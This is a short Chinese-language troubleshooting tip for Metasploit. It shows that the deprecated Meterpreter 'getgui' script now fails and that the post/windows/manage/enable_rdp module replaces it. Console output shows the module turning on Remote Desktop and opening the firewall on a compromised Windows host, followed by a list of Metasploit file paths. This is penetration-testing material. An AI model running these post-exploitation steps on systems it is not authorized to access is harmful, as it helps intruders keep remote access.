meterpreter运行run getgui -e报错
meterpreter > run getgui -e
[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
[-] The specified meterpreter session script could not be found: getgui
解决方法:
run post/windows/manage/enable_rdp
即可。
meterpreter > run post/windows/manage/enable_rdp
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20240429034339_default_192.168.1.200_host.windows.cle_651229.txt
扩展知识:
msfconsole位置
/usr/share/metasploit-framework
enable_rdp的位置:
/usr/share/metasploit-framework/modules/post/windows/manage
meterpreter一些脚本位置:
/usr/share/metasploit-framework/scripts/meterpreter